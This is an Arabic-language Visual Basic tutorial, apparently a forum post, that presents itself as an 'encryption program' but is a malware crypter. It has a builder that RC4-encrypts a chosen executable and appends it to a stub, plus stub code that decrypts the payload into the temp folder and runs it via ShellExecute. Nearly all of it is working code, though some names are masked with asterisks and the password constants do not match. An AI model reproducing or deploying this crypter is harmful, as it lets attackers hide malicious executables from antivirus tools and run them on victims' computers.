شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

Option Explicit

Const FileSplit = "<%*#%>"

Const pw = "DnT%m25@#q&szlig;" 

    With CommonDialog1 ' انتظار اداه دايلق

    .Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل

    .DialogTitle = "Select a File"

    .ShowOpen ' امر الاستعراض وجلب

    End With

****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست 

Dim sStube As String, sFile As String

Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب

sStube = Space(LOF(1))

Get #1, , sStube

Close #1

Open ****1.**** For Binary As #1

sFile = Space(LOF(1))

Get #1, , sFile

Close #1

Open App.Path & "\s3od*****" For Binary As #1  ' اسم الملف الناتج بعد التشفير

Put #1, , sStube & FileSplit & RC4(sFile, pw)

Close #1

MsgBox "مبــروك تم تشفير الملف بنجآح" 

Public Function RC4(ByVal Expression As String, ByVal Password As String) As String

On Error Resume Next

Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte

If Len(Password) = 0 Then

    Exit Function

End If

If Len(Expression) = 0 Then

    Exit Function

End If

If Len(Password) > 256 Then

    Key() = StrConv(Left$(Password, 256), vbFromUnicode)

Else

    Key() = StrConv(Password, vbFromUnicode)

End If

For X = 0 To 255

    RB(X) = X

Next X

X = 0

Y = 0

Z = 0

For X = 0 To 255

    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256

    Temp = RB(X)

    RB(X) = RB(Y)

    RB(Y) = Temp

Next X

X = 0

Y = 0

Z = 0

ByteArray() = StrConv(Expression, vbFromUnicode)

For X = 0 To Len(Expression)

    Y = (Y + 1) Mod 256

    Z = (Z + RB(Y)) Mod 256

    Temp = RB(Y)

    RB(Y) = RB(Z)

    RB(Z) = Temp

    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))

Next X

RC4 = StrConv(ByteArray, vbUnicode)

End Function 

Option Explicit

Const FileSplit = "<%*#%>"

Const pw = "DnT%m25@#qك"

Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Sub Main()

Dim sStub As String, sFile As String

Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي

sStub = Space(LOF(1))

Get #1, , sStub ' اسم الستب

Close #1 ' اغلاق

sFile = Split(sStub, FileSplit)(1)

Open Environ("tmp") & "decrypted.exe" For Binary As #1

Put #1, , RC4(sFile, pw)

Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء

Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه

End Sub 

Public Function RC4(ByVal Expression As String, ByVal Password As String) As String

On Error Resume Next

Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte

If Len(Password) = 0 Then

    Exit Function

End If

If Len(Expression) = 0 Then

    Exit Function

End If

If Len(Password) > 256 Then

    Key() = StrConv(Left$(Password, 256), vbFromUnicode)

Else

    Key() = StrConv(Password, vbFromUnicode)

End If

For X = 0 To 255

    RB(X) = X

Next X

X = 0

Y = 0

Z = 0

For X = 0 To 255

    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256

    Temp = RB(X)

    RB(X) = RB(Y)

    RB(Y) = Temp

Next X

X = 0

Y = 0

Z = 0

ByteArray() = StrConv(Expression, vbFromUnicode)

For X = 0 To Len(Expression)

    Y = (Y + 1) Mod 256

    Z = (Z + RB(Y)) Mod 256

    Temp = RB(Y)

    RB(Y) = RB(Z)

    RB(Z) = Temp

    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))

Next X

RC4 = StrConv(ByteArray, vbUnicode)

End Function